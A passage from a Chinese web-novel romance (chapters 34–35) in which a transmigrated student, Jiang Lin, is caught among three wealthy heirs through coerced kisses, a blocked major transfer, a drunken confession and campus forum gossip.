“老秦,今天怎的得空请我吃饭啊。”李炎诞贴着江林坐着,歪头看着阴影中的秦锐清,语气状似轻松。 秦锐清却直接:“我没想到你和他在一起。” 所以一开始是没想请他吃饭的。 “那还是我沾了孟南星的光咯。”李炎诞的眼神有些警惕,虎目微微一眯,脸上戾气一闪而过,他笑着说道:“听说秦叔叔给你和徐小姐组了局,你对徐小姐印象怎么样?” 江林心中觉得好笑,李炎诞的心眼子全部摆在明面上,故意戳破秦锐清相亲的事情,想让他心存芥蒂呢。 江林陪着他演戏,抬头看了一眼秦锐清,又低下头去,像是听进去了。 这种揭短的行为,虽然幼稚,但是杀伤力极大。 “只是逢场作戏而已,八字没有一撇的事情也值得拿出来说?”秦锐清语气冷淡,但仔细琢磨,还能察觉出比平时更加冷的语调。 “哦,是这样啊。”李炎诞看着江林的侧脸,声音轻了些,“那你怎么和老秦关系这么好了?从前没见你们说过几句话。” 江林面色无状,勉强弯了弯唇,“我之前是他弟弟的家教老师。” 李炎诞露出一点若有所思的神情,这事儿好像听谁说过,但他当时没在意。 “那我们去哪吃饭?”李炎诞大剌剌靠着,动作轻松,大腿贴着江林的,像是没注意,时不时蹭蹭他的膝盖。 秦锐清对于李炎诞脸上的伤也是视而不见,懒得问,说出一个名字:“雅食阁。” 雅食阁平时主攻粤菜和闽菜,以地道闻名,生意火爆,常常需要提前几天预约,当然这是指普通人,像秦锐清则只需要打声招呼,他们不敢得罪。 挑了小包间,三人坐着显得极为空荡和宽敞,菜放了一桌,散着芬芳的香味。江林先喝了一碗乌鸡汤,埋头吃饭。他们默契的没有扯着江林交谈,而是互相之间扯七扯八的聊天,主要是李炎诞在问,秦锐清不冷不淡的答。 李炎诞倒也熟悉了这样死人般半死不活的回答,只是时不时给江林夹点菜,脸上挂着灿烂、没心眼的笑。 “这个学期我还是准备睡宿舍呢,你搬回来吗?”李炎诞喝了一口酒,心肺都感觉燃起来了,缓乎乎的,从谈论某辆豪车的配置中突然话锋一转。 “不搬。”秦锐清冷淡地回答。 江林心中大大地呼出一口气,非常庆幸。 李炎诞也是松了一口气。 “好吧,其实宿舍生活蛮好的,只是你没机会体验咯。”李炎诞脸上的笑容真切了些,嘀咕了一句:“最近傅清池好像要晋升,听说你给他使了一点小绊子?他又怎么得罪你了?” 秦锐清没正面回答,只是瞧了一眼事不关己的江林,才淡淡回答:“他位置太高,对我们都没有好处。” 当初傅家倾倒,他们可出了不少力。 “那个烧鸽再上一份。”李炎诞是给江林叫的,发现他刚刚多吃了几口,但是烧鸽个不太大,像是意犹未尽。 江林露出一点笑容,无声说了一声谢谢。 李炎诞咧嘴一笑。 秦锐清望着两人的互动,只觉得有些刺眼,黏糊糊的,不知道李炎诞一个大男人对另外一个男人殷勤什么。 晚餐进行到下半程,李炎诞的电话响了,他爸妈又来兴师问罪。 “我出去抽根烟。”李炎诞拿起电话往外走。 包厢内只剩下两个人,古色古香的刺绣屏风,上面绣着花鸟鱼,江林喝汤的动作小了些,动作慢下来,听见秦锐清一声:“过来。” 叫狗似的。 江林坐着没动,像是没听见。 秦锐清见他这般,轻啧一声,起身朝着他走过来,按住他的肩膀:“才过去两个星期,就忘记我们的交易了吗?” 江林擦了擦嘴,眉梢不情愿的蹙起来,淡淡地评价:“你其实和崔嘉树没什么区别。” 秦锐清拉着他的胳膊将人拽起来,手臂抱住他的腰,蹭在他的唇角,垂着眼问:“那和李炎诞有区别吗?” 江林下巴被挑起,问完便被亲住了,他像个毒/瘾患者,吮着他的舌不放,许久没碰,更加瘾大。 李炎诞接完电话回来准备送江林回宿舍,却发现里面空无一人。 第34章 饭菜还是热的, 江林面前的汤还剩下半碗,手机也放在桌上,应该没有直接离开。李炎诞忍不住蹙眉, 到底不是真的蠢蛋,觉察出了些不对劲, 秦锐清不是热心肠的人,若是两人之间毫无关系和交情,他绝不会无缘无故请江林吃饭。 就算江林是他弟弟的家教老师也是说不通的, 毕竟他和家中姐弟关系并没有多亲近。 而此刻,在单独宽敞的卫生间里, 檀香徐徐飘着,臭味被香味掩盖,江林被秦锐清抵在墙边,他有些嫌弃地偏头,抿了抿有些泛红的唇,语气轻嗤:“你不是有洁癖吗?到厕所接吻, 是什么癖好?” “你如果不带着李炎诞来, 也许我们能光明正大地接吻。”秦锐清听见他这些说, 也嫌弃地蹙眉,觉得有些恶心。但他知道这是他唯一的机会, 李炎诞为了江林和家中长辈都敢强势顶撞, 现在也断不可能轻易地放手。 江林抬手掐住他的脖子,眯了眯眼,眸心微深, 望着他冰冷的眉眼,语气很深:“秦锐清。” 哥也不喊了,直呼其名。 “你到底在发什么情, 就这么喜欢亲一个男人的嘴吗?”江林真实地疑惑,手微微用力,掐得他有些窒息。 秦锐清有些分不清,自己到底是真的喜欢他这个人,还是只是因为随波逐流地趋之若鹜,但不得不说,越是靠近江林,他越是觉得身心舒畅。 而他压制的欲望,也同时倾泻而下,如同波涛汹涌的洪流,尽数洒在他身上,不知道他能不能承受得住,但他不管不顾地这么做了。 江林缓缓扬起下巴,眼底浮现出点点厌恶,继续评价:“你现在模样和崔嘉树好像啊,一样的恶心,一样的难堪。” 秦锐清收到这样的评价,眉心微蹙,神情有些不悦,这样的比较明显引起了他的不适。 他的手揽在江林腰上,眼神微沉,如同尖冰般锋利,他道:“别拿他和我比较。” “你不是最喜欢比较了吗?现在又不能比了?”江林嗤笑一声,掌心附在他粗细均匀的脖子上,感觉着他脉搏的跳动,有一瞬间他很想就这么拧断他的脖子。 “他还会跪着给我当狗,秦哥,你行吗?” “还是你连他都不如?” 秦锐清视线凝在他脸上,抿着唇沉默不语,显然他没有这样的癖好。 “秦哥的脖子好看,适合戴狗链。”江林眼角眉梢溢出笑容,眼睛微亮,清澈明亮:“我最喜欢听话的小狗了。” 秦锐清眉梢拧得越发紧了,捏住江林的后颈,让他微微扬起下巴,没有多言地吻了上去,很明显没有将江林善意地提醒放在心上,他只需要满足自己的欲望,而不是江林的需求和爱好。 江林后脑勺抵在墙上,接吻而产生的荷尔蒙让身体逐渐发烫。男人很容易被挑起热情的一种生物,他轻轻回吻了一下,秦锐清就像是闻到腥味的狗缠了上来。 江林卡着他的喉结,眯着眼盯着他强势又冰冷的眉眼,轻轻咬住他探入的舌尖,用牙齿磕了一瞬,门外声音渐起,不轻不重,秦锐清也听见了,却没有松开他。 他一只手按在他后心,将人按入怀中,力气大得像是要镶入骨髓,细细地吻着江林的唇舌。 敲门声响起,李炎诞的声音从外面清晰地传来:“孟南星?你在里面吗?” 江林眯了眯眼,伸手推了推秦锐清的肩膀,纹丝不动,两人的嘴唇像是沾了502胶水似的。 李炎诞皱着眉,看着紧闭的门,怎么也没想到一门之隔的地方,他日思夜想、求而不得的人正在和自己的朋友接吻,难舍难分,唇齿相依。 江林没听见离开的脚步声,他忍不住抬眼看向上方,心中恶趣味地想着,如果此刻李炎诞的从旁边趴着墙看过来,将会是绝杀,变成荒诞的喜剧或者说恐怖片更加合适。 但是没有,李炎诞离开的脚步声由近到远,逐渐消失,江林眼尾有些红,脸颊也染上了粉,直到快缺氧,江林才被松开,轻轻喘着气。秦锐清虽然稳住了呼吸,可是状态并未比江林好很多。 “够了吧?炎哥还在等我。”江林眉眼淡淡,似乎对于刚刚炽热的吻不为所动,说起李炎诞却带着一种别样的温柔,仿佛刚刚只是背着李炎诞的一场偷欢。 秦锐清忍不住问:“你喜欢他?” “和你有什么关系?”江林问,旋即推开他,去洗手洗脸。 秦锐清望着他离开的背影,暂时他还没办法和江林一样无状离开,被他这区别的对待方式伤到了。虽然是他强迫他维持着这种见不得人的交易,可是依旧想要得到他的温柔对待,意图让他对自己死心塌地。 只是接吻的话,似乎有些满足不了他了 李炎诞见江林回来,视线扫过他的唇,眼神闪过一丝怀疑:“你的嘴?” “刚刚吃了点辣椒。”江林面色如常地回答,眼底没有丝毫心虚。 李炎诞暂时压下心中的怀疑,“秦锐清呢?” “他先离开了。”江林说,“我们先走吧。” 李炎诞哦了一声,“我联系车。” 江林视线扫过他脸上的伤,唇角滑过一丝笑容,似嘲非嘲。他突然想起他刚刚到达这个小世界的时候,第一天便被锁在厕所里,被人淋头泼水,第二天被人泼湿了床,第三天被人掐着脖子威胁。 李炎诞曾经多么桀骜不驯的人啊,掐着脖子骂他是垃圾,眼角眉梢都是对他嫌恶,仿佛他是沾手就会烂掉的脏东西。 现在呢? 就算是整个寒假的冷落,只需要一声短信,就不顾一切地跑过来替出他出头,就算遍体鳞伤还是不放心他和其他人单独出来吃饭,忍着疼陪笑,双眼的深情都快要溢出来,甚至不敢主动将脖子上狗链递到他手上,只能着急又无助地在旁边守护。 李炎诞正在打电话,窗户外的昏暗的晚霞照射进来,余晖落在他唇角,染上淡淡的温柔,他挂了电话,有些好奇地问:“在笑什么?” 江林看着他,眉眼弯弯:“想到一个很好笑的事情。” 李炎诞便没有再问了,两人回到宿舍,里面已经焕然一新,坏掉的东西都换成了完整的,地面上一尘不染,桌面上的灰尘也被人擦拭干净,江林的行李箱还堆在角落没有打开。 “我先铺床,炎哥你休息休息。”江林说。 “我帮你一起弄好这些就回去。”李炎诞抬手,不知道扯到那块肌肉,疼得他龇牙咧嘴,但最终都化作一抹大剌剌的笑容,觉得这就是幸福的感觉。 李炎诞从没有干过这些琐事,江林指哪打哪,笨手笨脚的,还被江林嫌弃了,但他却觉得心里暖暖的,笑得像个傻子似的。 忙碌半个小时,江林将行李箱整理好,准备去浴室洗澡,“这里没事儿了炎哥。” 李炎诞找不到理由再赖在这里不走,抿了抿唇,“我明天就搬过来了,你别怕。” “嗯,我谢谢你。”江林点头微笑。 李炎诞恋恋不舍地走了,江林才进浴室洗澡,爬上床睡着了,度过了一个难得平静的夜晚,一夜无梦。 某三个人却辗转反侧,久久不能入眠 在金海南大转专业不说难,也说不上简单,需要层层审核和考试,首先专业成绩必须达到本专业前5%,且高考分数也必须高于选择专业的高考录取分数,这些都只是满足资格,还需要考试和面试。 江林提前来的原因,也是因为要处理这些事情。 但是结果,江林发现公布的名单中没有他的名字,入围参考的人员中就没有他的名字。 江林是满足要求的。 暖阳驱赶初寒,隆冬已过,春意崭露头角,商学院前坪许多学生正在打扫卫生,众人的心思却没有放在卫生上,三三两两地窃窃私语。 “唉?不是,孟南星这么刚啊?” “吓死我了,我刚刚听见主任骂人了” “这是干什么了?好想知道啊。” 商学院教务处,江林站得笔直,面色不善地看着主任,语气凌然:“所以您畏于强权随意剥夺了我转专业的权利是吗?” “什么叫强权,我都说了,是因为你资格不够?!”主任额心青筋抽了抽,忍着怒气说道。 “那您说说,我哪个资格不够,据我所知计算机学院我报考专业的高考录取分数是653,而我的高考分数是667,在本专业,我的专业成绩好像是第一。”江林很平静,但气势却是盘根问底的架势。 “谁告诉你专业成绩排名的?”主任沉了沉语调,成绩是不会进行排名公布的,每个同学都只会知道自己的具体成绩。 江林笑了笑:“这个很难知道吗?” “主任你就告诉我,是谁让您这么做的。”江林心情平静下来。 教务主任面色难看,“计算机学院不论是就业前景还是贫困生待遇都远不如商学院,你为什么一定要转呢?” “这是我自己的事情了吧,主任。”江林面色不惧,“我知道商学院不担心招生,也是最不缺钱的学院,但您也不想事情闹得太难看吧,倒是牺牲的可能只是你这个主任咯。” 最终江林还是从主任口中得到了一个名字,秦锐清。 秦大少爷亲自吩咐的,原本主任只以为是一件小事儿,能做得神不知鬼不觉,可是没想到居然是搬起石头砸自己的脚,碰见的硬骨头。 江林出了教务处,给秦锐清拨通了电话。 “我们见一面吧。”江林语气平静。 秦锐清还没得到学校的消息,停顿一瞬:“我现在在公司。” “地址。” “”秦锐清犹豫了两秒,还是说出了地址。 江林将电话挂了。 这是论坛上又炸开了锅。 【#MNX疑似被潜规则!#】 1楼:好吧,我承认标题有点哗众取宠的意思,但是!MNX真的实惨! 2楼:(放个耳朵)咋了咋了?? 3楼:商学院今天的动静都听见了吧,我就在资料室,刚刚好听见了。MNX这次专业成绩第一,申请了转专业,结果被暗箱操作,连参加考试选拔的名额都没有了! 4楼:我靠!为什么啊? 5楼:是那位q少爷,好像和教务处打了招呼,不想让他转出去。 6楼:等下!昨天不是还是崔和李,今天又有秦了?? 7楼:凭什么啊,人家专业第一,凭什么连参赛资格都没有? 8楼:还能凭什么,当然是少爷们没玩够咯 68楼:心疼MNX一秒钟,但不得不说他还是蛮牛的啊。 79楼:魅魔实锤了哈哈哈。我很想知道是4那个p吗? 80楼:楼上收收味吧,人家已经很惨了,躲都躲不掉,还在这里说风凉话。 81楼:说实话,我觉得他还是别犟了,他又不可能玩得过那三个最后还得躺平 82楼:走着瞧呗,我觉得还真不一定 商业大厦,八十九楼,有人在门口接他,进了专属电梯,电梯徐徐往上升,打扮精致的秘书温柔地问他:“先生想喝什么饮料?” “不用了,谢谢。”江林淡淡的回答。 因为论坛的爆帖,江林手机一直在被拨入电话,有一些相熟的朋友可能是关心他,也可能只是想要打听情况。 李炎诞和赵云月也在给他打电话。 电梯停住,江林被领着到了一间独立办公室外,敲门低声喊道:“小秦总。” “进来。”秦锐清的声音传来。 办公室内环境空旷简约,桌上摆放着一瓶百合花,清新雅致。秦锐清对上他的目光,他已经收到消息,知道江林为什么来了。 “你先出去吧。”秦锐清让秘书先离开。 这件事就是崔嘉树当初在医院拜托他帮的“小忙”,合同早就签好,他没有出尔反尔,从云象市回来之后,他其实有过犹豫,但最终还是没有改变决定,他不想让江林离开自己的掌控范围。 江林脸色很冷,抬脚走到他桌前,双手落在他桌沿,微微俯身盯着他:“是你让主任扣下的资格?” 秦锐清眉眼冷淡,“是。” “为什么?”江林冷着脸。 “商学院更适合你。”秦锐清回答。 江林紧绷着的脸颊露出一抹冷笑,绕着桌子,走到他跟前:“你觉得商学院更适合我?为什么呢?” “我可以给你提供更好的就业岗位。”秦锐清靠在椅子上,表情不变,虽然就算江林计算机学院毕业他也能同样帮他,但到底没那么好控制。 江林脸上笑容更加深了些:“你所说的更好的岗位,是指白天当个牛马替你打工,晚上还要满足你秦总的个人私欲吗?这就是更好的岗位?” “这个福气,给你要不要啊?” 江林脸色陡然变得冷厉,抬手就要打他,秦锐清有预料,挡住了他的手,但下一瞬江林另外的手扇在他脸上,“让我一学期的努力化作泡影,到头来还说为我好,你贱不贱啊,秦锐清!” 秦锐清被打了一巴掌,抬手攥紧他的手腕,表情如同罗刹般凶狠,起身抬手掐住他的脖子,将人抵在书架前,眼神阴狠。 江林握住他的手腕,狠狠地拧了一瞬,感觉一丝松动,但又重新卡紧了他的脖颈,他轻声笑起来:“你掐死我啊,我宁愿你现在弄死我,也不想再受你的威胁,每次和你接吻真的恨不得去死呢。” 秦锐清周身的寒气越来越重,卡着江林的脖颈也越发收紧,目光对视,锋芒毕露,江林抬脚狠狠踹向他,秦锐清往后躲,挨了一下,不得不松开手。 江林摸了摸被掐疼的脖子,抓起桌上的百合花瓶就朝着秦锐清砸了过去,玻璃碎了一地,听见动静,外面的人鱼贯而入,看着两人对峙的场景,一时间收了声。 “以后别让我看见你。”江林骂骂咧咧离开,放下狠话。 秦锐清看着他决绝的背影没有阻止,也没有采取下一步行动,眼底怒气横生,面上却维持着基本的冷静。 江林出了大厦,脸上的冰冷才缓和,系统在脑海中嘀咕起来:“宿主不怕秦锐清为难你,或者为难你的家人吗?” “不会的,他破坏了我的辛苦成果,我如果毫无表示才奇怪呢。” “宿主之前是故意透露转专业的消息给崔嘉树的?”系统有些不解,“您这么努力不是真的要逃离吗?” 江林沿着长苏街走,川流不息的车流,崔嘉树缠着他不放的那段时间,他还没提交申请,“无意”中提供给他这个消息,以崔嘉树的个性,江林不信他会不为所动,所以这是对秦锐清一个阳谋,他主动跳进去了。 “转不转专业都已经无所谓了,我根本逃离不开,能够完成任务就行。”江林眯了眯眼,感受着阳光拂身的温暖,雪白的肌肤在太阳下泛着漂亮的光泽 今天江林依旧是话题的中心,所以走在学校街道上他总是能收获许多似有若无的目光,隐秘又直接地打量,但被江林直勾勾看回去的时候,便会感觉一阵心悸和心虚,有一种窥探太阳被发现的感觉。 正在开门,出现一道黑影拉住他的手臂,江林吓了一跳,抬眼一瞧,发现居然是赵云月,她突兀地出现在男寝,双眼红红,紧紧抓着他的手臂。 江林率先开门,让她进来,关上门,赵云月紧紧抱着他,声音带着哭腔,呜呜哭着:“为什么不回我消息,也不回我电话” 刚刚上完洗手间的李炎诞听见女人的声音,瞬间被定住了,虽然不想偷听,但他们声音太大,飘进了他的耳朵。 赵云月昨天得到论坛消息的时候,就震惊不已,想要联系江林,但他只是回复了一条没事,不用担心。 这让她焦心不已,趁着宿管阿姨没在,偷偷溜进来男生宿舍,躲在安全通道(宿舍有电梯)。 江林愣了愣,伸手拍了拍她的肩膀,叹息道:“没事儿的小月。” “有事儿,有事儿!论坛上他们说的是不是真的?”赵云月抱着他的肩膀哭个不停,眼泪打湿了他的肩膀。 江林安抚地说道:“是真的,但没那么严重” “真的还不严重吗!?”赵云月气得不行,松开他,两眼含着泪:“明明是你的名额,凭什么不给你?而且你你根本就不喜欢男人,还要被他们纠缠,怎么这么讨厌啊!” 江林看着哭得伤心不已的姑娘,心中一叹,让她坐在椅子上,给倒了一杯温水,拿纸巾给她擦眼泪,脸上带着淡淡的笑:“好了,不哭了,眼睛都哭肿了,怪可怜的。” 赵云月越发心疼了,眼泪止不住,她握住江林的手,眼泪砸在他手背上,哽咽地说道:“我知道,你喜欢我对不对?我们在一起好不好?让他们不要再乱说了,呜呜呜” “不可以的,小月。”江林用掌心接住她温热的眼泪,在掌心蓄成了小汪清澈的潭水,冰冷又清澈,他脸上是温柔又包容地笑:“我不能把小月也牵扯进这个泥潭中。” 赵云月泣不成声,喘不过气来,她后悔不已,如果从一开始就选择和他在一起结果会不会不同? 但是没有如果,失去的永远都失去了。 江林蹲在她身前,满眼温柔,轻轻握着她的手心,低声忠诚地告白:“我喜欢小月,只希望小月能成为自己想成为的人,希望小月永远是干净的月亮,不要被拉入这些肮脏的旋涡中来,我会远远看着你幸福的。” 他不希望赵云月被牵扯进来,以f3那恶劣的性格,还真不一定会做出什么出格的事情。 李炎诞整个人木木地站在原地,仿佛脚上被灌了铅,动弹不得,一颗心被绞得软烂稀碎,脸色发白。他就算知道江林有喜欢的人,但听着从未有过的温柔和女孩儿表白,还是控制不住地心尖发颤,既心动又心痛,为什么他喜欢的人不是自己呢? 第一次感觉到心痛的感觉,像是一场缓慢地处刑。 而且在江林眼中,原来他们都是一样的? “呜呜呜,你怎么办啊?怎么办?”赵云月低头看着干净漂亮的少年,抖着手去摸他的脸,“你会被欺负的,我不想这样” “这些我会处理好的,好吗?”江林声音温柔带着安抚人心的意味,轻轻抹开赵云月的眼泪,指腹湿润柔软,他语气尽量轻松:“我会保护好自己的,我保证。” “呜呜呜呜”赵云月抱着他哭了很久,怎么都哄不好。 好不容易不哭了,江林才笑着开玩笑道:“小月是我见过最漂亮的女生,就算现在也是,最漂亮的女生一点都不丑,只是眼睛变成了核桃。” 赵云月娇嗔地看他一眼,擦了擦眼泪,声音嘶哑:“我以后还能来找你吗?” “尽量不要。”江林笑容收敛了些,眼见着她又要流泪,只能耐心解释道:“我们寝室三个,李炎诞也好,崔嘉树也罢,他们都不是什么好人,我不想你出现在他们面前。” 赵云月忍着泪答应。 江林送赵云月下楼,李炎诞这才打开门,站得双脚僵直麻木,他夺门而出,不敢待在这个宿舍里。 江林再次上楼的时候,只是轻轻看了一眼厕所打开的门,像是没发觉里面一直藏着一个人。 崔嘉树的电话虽迟但到。 崔嘉树躺在病床上,他刚刚受过一次电击治疗,整个人一身汗,狼狈不已,额前青筋凸起,原本温和儒雅的面容变得狰狞,他正在看江林的视频,反复观赏,看都看不厌倦。 “喂?” “我以为你不会接我的电话。”崔嘉树接起电话的时候,护士看了他一眼,欲言又止想要阻止,但是被他含笑的眼神看过去,便不敢说话了。 小护士真的从未见过这种人,就算被电击水疗,都还能笑出声的男人,那眼神虽然笑着的,但感觉像是要杀人。 “”江林靠在椅子上,姿态轻松,桌上放着本书,没说话。 “我正在看你的视频。”崔嘉树嗓音低低的,像是爱的低语:“不管看多少次,我都会为你*起,就算治疗一万次,我都是不会有任何改变的同性恋。” 江林不置可否,“你打电话就是为了说这些无聊的话?” “听说你打了秦锐清?”崔嘉树的消息格外灵通,他笑着问:“扇他的时候,和打我的时候一样用力吗?宝宝。” 崔嘉树当初选择让秦锐清帮忙,就是为了埋下这个定时炸弹,他也可以轻而易举地阻止江林转专业,但是他没有主动去做,而是让秦锐清动手,在江林心上扎上这颗钉子。 不管秦锐清入不入局,都不能轻松。 江林唇角勾起浅淡的笑,几乎可以确定,此刻崔嘉树的精神岌岌可危,他语气冷漠:“我挂了。” 言出必行,他直接挂了电话,没有给崔嘉树任何回复。 崔嘉树看着黑屏的手机,手臂肌肤血管凸起,肌肤出现烫伤的焦红色。身体痉挛似的发出痛苦的颤抖,他却像是感觉不到疼似的,又拨通了一个电话,语气如常带着笑意:“爸。” 那头低沉的男声响起,“嘉树。” “你再不把妈想办法弄走,你儿子就要被弄死了。” 江林早早洗完澡洗完头,正在看某部外国电影,李炎诞回来得很突然,脚步有些沉重,门打开的瞬间,还绊倒了一瞬,一个踉跄差点摔倒在地。 他抬眼看去,李炎诞脸颊两侧霞红一片,双眼沉着醉意,随着他靠近,身上的酒味也随之袭来,江林惊讶开口:“炎哥?” 李炎诞直直朝着他走来,弯腰抱住他,下巴抵在他肩膀,仿佛从胸腔发出的哀鸣声,借着酒气终于有勇气能说出那句话,:“星星,能不能别喜欢她了” 他学着赵云月的样子,唤着更加亲密地称呼,试图拉近两人的距离。 江林被他身上的酒味熏得忍不住蹙眉,知道他嘴中说的是谁,只是轻轻垂了垂睫毛,低声反问他:“不喜欢她,难道喜欢你吗?” “炎哥,你不会忘记曾经对我做得事情了吧,将我的头按在桌子上,骂我娘炮的人是你,骂我穷酸鬼的也是你,使唤我给你洗衣服。把我关在卫生间,给我泼水,一整夜我都是在卫生间过的,又冷又寒” 江林从未忘记过李炎诞对他造成的伤害,带头霸凌,让他几乎无法在学院立足,但凡一个心灵比较脆弱的人,都可能已经退学或者抑郁自杀了。 李炎诞身体骤然变得僵硬,原本因为喝了酒,火热的心情,如同被人直接临头泼了冰水,从头冷到脚,那些被他刻意遗忘的伤害,一条一条细数,仿佛回旋镖扎在他身上。 “炎哥,不要告诉我,你喜欢上我了。”江林语气变得很轻,带着轻微的笑意:“这会让我觉得很可笑的。” 李炎诞嗓子哑了,双臂像是失去了力气,松开了江林,那双淬了红的眼睛怔怔看着他,像是下一秒要流出泪来。他的手从江林肩膀滑落,轻轻握住了他的双手,他高大的身躯垮下,直至跪在地上,像是骄傲的狼狗,慢慢低下了他的头颅,额头落在江林手心。 “对不起”李炎诞哑着嗓子道歉,江林垂着眼,眸心不为所动,带着冷漠,“都是我的错,对不起我不该不分青红皂白地欺负你” 江林感觉埋在他手心的肌肤极为滚烫,仿佛要将他炙热的心脏挖出来端给他,以证明他的真心。 “炎哥,不要哭,今天我很累了,不想再继续安慰人。”江林说出的话像是裹着蜜糖的尖刀。 李炎诞仰起脸,双眼通红,认真地看着他,强忍泪水:“我不会哭。” “嗯,你真厉害。”江林敷衍地笑了笑。 李炎诞有千言万语想要和他说,但面对他毫无温情的眼,一切的话都变得难以启齿,他背部微微撑起,肌肉鼓动间,低头亲吻了他的手背:“我知道你利用我。” 江林双眼一凝,表情有些许的讶异。 “你想利用我对付秦锐清和崔嘉树对不对?”李炎诞蹭了蹭他的柔软指腹,放在唇边缱绻的轻啄,一个凶相毕露的笑勾起:“我愿意被你利用,就算你不骗我,但你可不可以喜欢我一点点?” “炎哥。”江林唇角泛起嘲弄的笑:“我记得你曾经誓言旦旦地告诉我,你是直男?” “我都跪在这里了,你觉得那些话还能作数吗?”李炎诞脸颊微赧,却又挺直了胸膛,理直气壮地说。 “我不想再装下去了,我不想掩饰对你的喜欢,我很想你,每时每刻都想抱着你” 江林的掌心被他放在脸颊摩挲,那难以抒发的欲念,急切地想要找个宣泄的出口。 江林却直接将自己的手收了回来,手微微握拳,脸上表情没有任何的变化:“没必要,就算你不帮我也没关系。” “一定要这么绝情吗?”李炎诞黑眸微沉,眸色深深。 江林眯了眯眼:“那你要像他们一样逼我吗?” “不”李炎诞连忙否认,“我舍不得。” 江林抬脚踹了踹他,语气有些嫌弃:“别跪着了,等等别人还以为我有什么特殊的癖好。” 李炎诞舔了舔唇,慢吞吞的站起来,表明心意之后,他的眼神更加无所顾忌,热烈而蠢蠢欲动起来。 就算黑暗中,江林都能感觉到那道炙热掠夺的目光,几乎要拨开他的肌肤,舔舐他的脊骨。 像是被饿了很多天的狼,蓄势待发。 第二天,江林清早便黑了脸,大巴掌差点扇在李炎诞脸上。 他是一点都不装了啊。 他昨天刚刚晾好的内裤,现在出现在洗手台上,皱巴巴的,黏糊糊的,犯罪现场都毫无遮掩,明目张胆,嚣张无度。 李炎诞环抱着手臂,跟在他身后,硬邦邦地说道:“别生气,我给你买了新的,马上到。” “你真的”江林真的无语了,把壮烈牺牲的内裤扔进垃圾桶里,骂道:“再有下次,你给我滚出去。” 江林也是装不了一点了,横眉冷对,目光嫌弃。 李炎诞死猪不怕开水烫,“除非你和我在一起,不然肯定还有下次的。” 他双手一摊,非常坦诚,然后被江林拿起桶子狠狠砸在他脑袋上。 “神经!”江林大骂 商学院因为有钱人占了百分之八十,所以像江林这种毫无背景的普通学生的生存空间被压缩到几乎没有,江林是这么多年,唯一一个掀起风浪的普通学生。 像论坛上的风向,这也是为什么论坛的风向大部分是偏向少爷们,因为只有有钱人才能共情有钱人。 江林成为独一无二的谈资,自然也引起了很多人的注意。 距离教务处大战事件已经过去半个月。 他今天刚从图书馆出来,便在转角听见了他的名字。 “我只是去求孟南星,为什么?为什么你要拦着我?!”男声有些尖锐,语调有些发颤,情绪很激动。 回答的声音有些熟悉,是许久未见的苏溪:“你这是不是求他,你这是去逼他!” “那我能怎么办,崔主席点名要我们去求他” 江林脚步微顿,静静听着,前几天崔嘉树才重返学校,声势浩大,豪车接送,香槟开道,那场接风宴他没去,李炎诞也没去,在厕所拿他的内裤作孽。 “我们不是他,没有他这么厉害,能拒绝这些人,但是我也没办法啊”带着哭腔的男生,似乎被逼到了极致。 “这对于孟南星来说就是无妄之灾啊,你不能这么去道德绑架他!”苏溪死死挡住他,不准他动。 “但我也很无辜啊,我根本没有得罪任何人!我弟弟还那么小,我爸妈不能失去工作,我也不想去陪老男人上床。我只想好好毕业,我有什么错?他们神仙打架,就要我们这些老百姓遭殃吗?” “就算没有我,也会有别人你拦得住所有人吗?!被逼的贫困生可不止我一个。” 江林背着书包,没有再继续听下去,崔嘉树威胁人的手段,一如既往的简单又恶心,捏住人的命门不怕他们不妥协,平常人在财阀面前不堪一击,反抗都是螳臂当车而已。 崔嘉树似乎笃定了江林心肠软,知道他绝对会为了那些无辜的贫困生作出妥协,所以使出了这阴险的招数,让江林认输。 苏溪果然也没能挡住所有人,三天后,他在寝室外遇见了一个陌生的男生,他见面就抱住江林的腿,跪在他腿边哭着求他。 江林表情平淡,似乎早于预料,只是轻轻将他扶起来。 第35章 崔嘉树回归学校之后, 这件事在论坛上也是闹得沸沸扬扬,大部分商学院学生喜闻乐见这种富家少爷爱上平民“公主”的戏码,只是不动声色地看戏。 在宿舍外被江林扶住的少年, 双眼含泪,满脸的狼狈, 他被人温柔地扶进了宿舍,给他准备了纸巾,少年的眉眼间毫无攻击性的温和, 就在他以为事情已经成功大半的时候。 温和的少年给了他否定的回答:“我不会去求崔嘉树的。” 徐翔红微微怔然,眉眼间带着不可思议, 他以为江林会帮助他的,因为所有人包括崔嘉树都认为江林是一个善良心软的人,从当初在顶楼救下苏溪便可见一斑,但他这次却干净利落地拒绝了。 “为什么?”徐翔红嗓音近乎沙哑失声,情绪肉眼可见地激动起来。 “你应该知道,崔嘉树既然放出那样的话, 就是要逼我妥协, 有一次就会有第二次, 我不可能永远和他妥协。”江林的情绪很平静,宛如冷静无波的大海, 黑眸深邃, 声音也很淡:“你觉得我应该为了从未有过交集的陌生人而付出我自己的一切吗?” “如果你是我,你会妥协吗?” 徐翔红一时间语塞,的确没有人会为陌生人放弃自己的利益和权利, 他自己不会,就不能要求别人,但是他没有别的选择啊。 “那我们该怎么办?”徐翔红崩溃大哭, 无助难过,仿佛最后一根救命稻草也没有了用处,被风轻飘飘吹走了。 江林给他拿了一瓶牛奶,坐在他身前,语气平静:“你可以选择相信我,你能拿到崔嘉树威胁你们的证据吗?” “这有什么用?”徐翔红红着眼看着他,不认为他这种螳臂当车,蚂蚁食大象的行为有任何的用处。 “没有人可以帮你,除了你自己。”江林阐述着这个事实,眉眼一直有一种能让人镇定下来的冷静,仿佛早有预料,早有成算,胜券在握:“崔嘉树眼中没有我们,也最瞧不起我们,但我们也是最不容忽视的。” “”徐翔红咬了咬牙,能进入南榕大学商学院的贫困生无一不是别的学校出类拔萃的学霸,明辨是非,也天资聪颖,只是从未遇见过这种阶级的碾压和摧残,才会一时间溃不成军,慌不择路 同一时间,论坛也是沸反盈天。 【#今天崔少成功了吗?#】 1楼:今天MNX好像还是没有任何的表示。 2楼:不得不说崔少这手段虽然腌臜,但确实有用,我几乎每天都看见有人在路上堵MNX,真的见者伤心,闻者落泪的凄惨。 3楼:如果是平常人怕是早受不了他这种精神压力认怂了,他还是个狠人呢。 4楼:嘿嘿嘿,来打个赌,看看MNX什么时候接受崔的追求呢? 5楼:啧,我都看不下去了,整天商学院都有人哭哭啼啼的,哭坟似的,听得烦死了,不然孟还是直接从了吧。 6楼:呵,谁知道崔想干什么?楼上这么高尚,怎么不自荐枕席啊,收了他这个祸害。 7楼:话说,其他两位没有表示吗? 8楼:有什么表示啊,据说秦和孟最近闹掰了,李和崔上半年就闹掰了,你们不记得了吗?现在谁都不能阻止崔发疯 